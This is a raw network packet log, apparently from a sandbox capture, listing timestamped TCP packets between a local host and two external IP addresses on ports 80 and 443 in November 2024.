Nov 17, 2024 12:35:40.700735092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.700741053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700756073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.700773954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.773760080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.773777962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.773802996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.773816109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.773840904 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.774252892 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.774844885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.774861097 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.774876118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.774944067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.774944067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.774944067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.774969101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.774993896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.775064945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.775079966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.775082111 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.775095940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.775101900 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.775113106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.775122881 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.775135994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.775155067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.775155067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.775227070 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.775294065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.775300980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.775422096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.776794910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.776853085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.776868105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.776931047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.776931047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.776947975 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.776963949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777004957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777004957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777036905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777079105 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777101040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777116060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777131081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777146101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777156115 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777196884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777196884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777352095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777364969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777379036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777395010 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777400970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777463913 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777491093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777506113 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777530909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777545929 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777580023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777595043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777597904 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777597904 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777618885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777626038 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777636051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777658939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777678967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777681112 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777681112 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777704954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777731895 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777786970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.777894974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777920961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777935982 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.777956963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778053999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778069973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778079987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778090954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778099060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778106928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778109074 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778130054 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778218031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778234959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778245926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778250933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778275013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778369904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778392076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778394938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778408051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778418064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778423071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778439999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778449059 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778455019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778471947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778480053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778486013 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778496027 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778501987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778526068 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778647900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778676033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778727055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778740883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778753996 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778759003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778765917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778772116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778776884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778825998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778825998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778891087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778907061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778922081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778935909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778942108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.778951883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.778978109 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779004097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779032946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779056072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779072046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779088974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779098034 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779098034 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779104948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779114962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779139996 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779171944 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779191017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779247999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779263973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779279947 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779282093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779297113 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779299021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779303074 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779328108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779371023 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779407024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779422998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779438972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779467106 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779467106 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779516935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779522896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779536009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779550076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779567957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779582977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779599905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779604912 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779616117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779622078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779630899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779647112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779654026 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779664993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779668093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779725075 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779725075 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.779938936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779953003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779968977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.779994965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780009031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780016899 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780016899 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780024052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780040026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780047894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780055046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780069113 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780078888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780083895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780098915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780105114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780116081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780122995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780132055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780138016 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780148029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780163050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780169964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780169964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780184984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780201912 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780201912 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780424118 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780451059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780466080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780481100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780497074 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780512094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780541897 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780585051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780599117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780612946 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780620098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780633926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780658960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780659914 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780675888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780685902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780693054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780708075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780719995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780724049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780738115 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780798912 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.780977964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780985117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780991077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.780998945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781006098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781032085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781048059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781061888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781063080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781079054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781088114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781092882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781102896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781109095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781124115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781136990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781138897 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781155109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781166077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781172037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781176090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781196117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781264067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781560898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781575918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781591892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781608105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781624079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781637907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781651020 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781653881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781658888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781667948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781682968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781694889 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781698942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781714916 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781728983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781738997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781745911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781757116 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781761885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.781769037 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781804085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.781804085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.818867922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.818896055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.818911076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.818950891 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.818964958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.818980932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.818996906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.819020987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819053888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.819113970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819128036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819142103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819156885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819166899 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.819183111 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.819226027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819241047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819252968 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.819293976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819308043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819329023 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.819331884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819350958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819360018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.819363117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.819391012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.819442987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.834073067 CET	443	49912	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.866826057 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.866854906 CET	443	49912	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.870722055 CET	443	49912	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.871721029 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.888926029 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.889097929 CET	443	49912	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.889195919 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.889195919 CET	49912	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.889224052 CET	443	49912	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.892478943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.892507076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.892520905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.892579079 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.892605066 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893161058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893174887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893201113 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893214941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893223047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893229961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893239021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893243074 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893263102 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893331051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893354893 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893377066 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893436909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893460989 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893481970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893503904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893518925 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893529892 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893532991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893546104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893548012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893564939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893577099 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893577099 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893582106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.893595934 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893623114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.893623114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.894906998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.894953966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895175934 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895276070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895344973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895368099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895370960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.895390034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.895406008 CET	80	49778	185.215.113.206	192.168.2.5
